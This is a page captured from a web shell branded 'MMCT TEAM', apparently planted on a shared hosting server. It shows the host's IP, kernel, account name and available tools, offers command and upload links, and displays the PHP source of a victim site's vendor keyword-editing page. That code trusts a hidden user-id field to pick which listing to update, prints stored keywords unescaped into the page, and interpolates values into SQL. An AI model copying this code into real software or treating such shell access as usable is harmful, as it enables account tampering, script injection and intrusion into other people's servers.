MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/eventsbyshubhchintak/vendor/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/eventsbyshubhchintak/vendor/edit-search-keyword.php
<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.css">
<?php 
include 'includes/db-conn.inc.php';
 include'includes/head.php';
if(!isset($_SESSION['usermobile'])){
echo "<script>window.location = 'index.php';</script>";
}
$usermobile=$_SESSION['usermobile'];
$userid=$_SESSION['userregid'];
$username=$_SESSION['username'];

$sql=mysqli_query($conn,"select * from tbl_vendor where vendorid='$userid' and number='$usermobile'")or die(mysqli_error());
    $row=mysqli_fetch_assoc($sql);
    $username=$row['name'];
    $usermobile=$row['mobile'];
    $categoryid=$row['category_id'];

$sql2=mysqli_query($conn,"select name from tbl_category where id='$categoryid'")or die(mysqli_error());
    $row2=mysqli_fetch_assoc($sql2);
    $categoryname=$row2['name']; 

$sql9=mysqli_query($conn,"select keyword from tbl_listing where userreg_id='$userid'")or die(mysqli_error());
    $row9=mysqli_fetch_assoc($sql9);
    extract($row9);

?>
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/sweetalert/1.1.3/sweetalert.min.css">
<body>
	<div id="preloader">
		<div id="status">&nbsp;</div>
	</div>
	<!--TOP SEARCH SECTION-->
	<?php include'includes/header.php'; ?>
	<!--DASHBOARD-->
	<section>
		<div class="tz">
			<!--LEFT SECTION-->
			<?php include 'includes/leftsection.php'; ?>
			<!--CENTER SECTION-->
			<div class="tz-2">
				<div class="tz-2-com tz-2-main">
					<h4>Submit Search Keywords</h4>
					<div class="db-list-com tz-db-table">
						<div class="ds-boar-title">
							<h2>Edit Search Keywords</h2>
							<p>Edit keywords for searching.</p>
						</div>
						<div class="hom-cre-acc-left hom-cre-acc-right">
							<div class="">
								<form method="post" enctype="multipart/form-data" action="">
									

									<div class="row">
										<div class="db-v2-list-form-inn-tit">
											<h5>Searching Keywords <span class="v2-db-form-note">Edit Search keywords for better search result<span>:</span></span></h5>
											<input type="hidden" value="<?php echo $userid; ?>" readonly name="txtuserid">
										</div>
									</div>
									<div class="row">
										<div class="input-field col s12">
											<textarea id="textarea1" name="txtkeyword" class="materialize-textarea"><?php echo $keyword; ?></textarea>
											<label for="textarea1">Add Keywords ( like: advocate,website,graphic,hotel,hostel etc ) </label>
										</div>										
									</div>
									
							
									<div class="row">
										<div class="input-field col s12 v2-mar-top-40"> 
											<input class="btn btn-default" style="background-color: #f74d40;color: white"  value="Submit Keywords" name="editsearchingkeywords" type="submit"> 
										</div>
									</div>
								</form>
							</div>
						</div>
					</div>
				</div>
			</div>
			<!--RIGHT SECTION-->
			
		</div>
	</section>
	<!--END DASHBOARD-->
	
	<!--FOOTER SECTION-->
		<?php include'includes/footer.php'; ?>
	<!--SCRIPT FILES-->
	<script src="js\jquery.min.js"></script>
	<script src="js\bootstrap.js" type="text/javascript"></script>
	<script src="js\materialize.min.js" type="text/javascript"></script>
	<script src="js\custom.js"></script>
</body>

</html>
<?php 

 if(isset($_POST['editsearchingkeywords']))
{
   $userid=mysqli_real_escape_string($conn,$_POST['txtuserid']);
  $txtkeyword=mysqli_real_escape_string($conn,$_POST['txtkeyword']);



   $sql="update tbl_listing set keyword='$txtkeyword' where userreg_id = '$userid'";


              if(mysqli_query($conn,$sql) or die (mysqli_error($conn)))
                 { 

                 echo "<script>window.location = 'dashboard.php';</script>";
                
             }  

}
?>

MMCT - 2023